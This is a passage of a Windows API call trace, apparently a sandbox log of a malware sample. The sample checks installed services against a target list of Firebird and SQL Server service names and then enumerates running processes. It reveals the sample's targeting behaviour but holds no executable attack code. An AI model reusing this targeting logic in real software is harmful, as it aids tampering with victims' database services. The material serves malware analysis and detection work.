lpString2="lfsvc") returned -1 [0289.982] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0289.982] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0289.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0289.982] lstrlenW (lpString="lmhosts") returned 7 [0289.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0289.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0289.982] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0289.982] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0289.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0289.982] lstrlenW (lpString="LSM") returned 3 [0289.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0289.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0289.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0289.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0289.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0289.983] lstrlenW (lpString="MpsSvc") returned 6 [0289.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0289.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0289.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0289.983] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0289.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0289.983] lstrlenW (lpString="NcbService") returned 10 [0289.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0289.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0289.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0289.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0289.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0289.983] lstrlenW (lpString="netprofm") returned 8 [0289.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0289.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0289.983] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0289.983] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0289.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0289.983] lstrlenW (lpString="NgcSvc") returned 6 [0289.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0289.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0289.983] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0289.983] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0289.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0289.984] lstrlenW (lpString="NlaSvc") returned 6 [0289.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0289.984] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0289.984] lstrlenW (lpString="nsi") returned 3 [0289.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0289.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0289.984] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0289.984] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0289.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0289.984] lstrlenW (lpString="PcaSvc") returned 6 [0289.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0289.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0289.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0289.984] lstrlenW (lpString="PlugPlay") returned 8 [0289.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0289.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0289.984] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0289.984] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0289.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0289.985] lstrlenW (lpString="Power") returned 5 [0289.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0289.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0289.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0289.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0289.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0289.985] lstrlenW (lpString="ProfSvc") returned 7 [0289.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0289.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0289.985] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0289.985] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0289.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0289.985] lstrlenW (lpString="RpcEptMapper") returned 12 [0289.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0289.985] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0289.985] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0289.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0289.985] lstrlenW (lpString="RpcSs") returned 5 [0289.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0289.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0289.985] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0289.985] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0289.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0289.986] lstrlenW (lpString="SamSs") returned 5 [0289.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0289.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0289.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0289.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0289.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0289.986] lstrlenW (lpString="Schedule") returned 8 [0289.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0289.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0289.986] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0289.986] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0289.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0289.986] lstrlenW (lpString="SecurityHealthService") returned 21 [0289.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0289.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0289.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0289.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0289.986] lstrlenW (lpString="SENS") returned 4 [0289.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0289.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0289.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0289.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0289.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0289.987] lstrlenW (lpString="ShellHWDetection") returned 16 [0289.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0289.987] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0289.987] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0289.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0289.987] lstrlenW (lpString="Spooler") returned 7 [0289.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0289.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0289.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0289.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0289.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0289.987] lstrlenW (lpString="StateRepository") returned 15 [0289.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0289.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0289.987] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0289.987] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0289.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0289.987] lstrlenW (lpString="SysMain") returned 7 [0289.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0289.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0289.987] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0289.987] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0289.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0289.988] lstrlenW (lpString="SystemEventsBroker") returned 18 [0289.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0289.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0289.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0289.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0289.988] lstrlenW (lpString="Themes") returned 6 [0289.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0289.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0289.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0289.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0289.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0289.989] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0289.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0289.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0289.989] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0289.989] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0289.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0289.995] Process32FirstW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.996] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0289.997] lstrlenW (lpString="System") returned 6 [0289.997] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0289.998] lstrlenW (lpString="smss.exe") returned 8 [0289.998] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0289.999] lstrlenW (lpString="csrss.exe") returned 9 [0289.999] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.000] lstrlenW (lpString="wininit.exe") returned 11 [0290.000] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.001] lstrlenW (lpString="csrss.exe") returned 9 [0290.001] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.002] lstrlenW (lpString="winlogon.exe") returned 12 [0290.002] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.003] lstrlenW (lpString="services.exe") returned 12 [0290.003] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.004] lstrlenW (lpString="lsass.exe") returned 9 [0290.004] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.005] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.005] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.006] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.006] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.007] lstrlenW (lpString="svchost.exe") returned 11 [0290.007] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.012] lstrlenW (lpString="svchost.exe") returned 11 [0290.012] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.013] lstrlenW (lpString="dwm.exe") returned 7 [0290.013] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.013] lstrlenW (lpString="svchost.exe") returned 11 [0290.013] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.014] lstrlenW (lpString="svchost.exe") returned 11 [0290.014] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.015] lstrlenW (lpString="svchost.exe") returned 11 [0290.015] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.015] lstrlenW (lpString="svchost.exe") returned 11 [0290.016] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.016] lstrlenW (lpString="svchost.exe") returned 11 [0290.017] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.017] lstrlenW (lpString="svchost.exe") returned 11 [0290.018] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.018] lstrlenW (lpString="svchost.exe") returned 11 [0290.018] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.048] lstrlenW (lpString="svchost.exe") returned 11 [0290.048] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.049] lstrlenW (lpString="svchost.exe") returned 11 [0290.049] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.050] lstrlenW (lpString="svchost.exe") returned 11 [0290.050] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.051] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.051] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.052] lstrlenW (lpString="svchost.exe") returned 11 [0290.052] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.061] lstrlenW (lpString="audiodg.exe") returned 11 [0290.061] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.062] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.063] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.063] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.064] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.064] lstrlenW (lpString="Memory Compression") returned 18 [0290.064] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.065] lstrlenW (lpString="svchost.exe") returned 11 [0290.065] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.066] lstrlenW (lpString="sihost.exe") returned 10 [0290.066] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.067] lstrlenW (lpString="taskhostw.exe") returned 13 [0290.067] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0290.068] lstrlenW (lpString="msoia.exe") returned 9 [0290.068] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.069] lstrlenW (lpString="explorer.exe") returned 12 [0290.069] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.072] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0290.092] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.106] lstrlenW (lpString="SearchUI.exe") returned 12 [0290.106] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.107] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0290.110] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.111] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0290.112] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: 